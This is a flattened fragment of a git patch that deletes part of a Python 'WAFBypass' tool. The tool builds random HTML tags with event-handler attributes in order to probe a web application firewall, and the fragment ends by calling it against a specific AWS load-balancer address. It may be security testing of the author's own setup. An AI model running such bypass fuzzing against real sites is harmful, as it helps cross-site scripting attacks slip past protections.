tag.attributes = [] - tag.children = [] - - nglobattr = choice(range(1, 3)) - nattr = choice(range(0, 3)) - - globals = self.unfiltered_attributes["global"] - - for _ in range(0, nglobattr): - if len(globals) == 0: - break - attr = choice(globals) - globals.remove(attr) - tag.add_attribute(attr) - - tag.add_attribute(choice(self.unfiltered_attributes["events"])) - - tag_specific = self.unfiltered_attributes["tag_specific"][tag.name] - - for _ in range(0, nattr): - if len(tag_specific) == 0: - break - attr = choice(tag_specific) - tag_specific.remove(attr) - tag.add_attribute(attr) - - print(tag) - - except KeyboardInterrupt: - self.driver.close() - exit(0) - - -w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com") -w.test() -- 2.34.1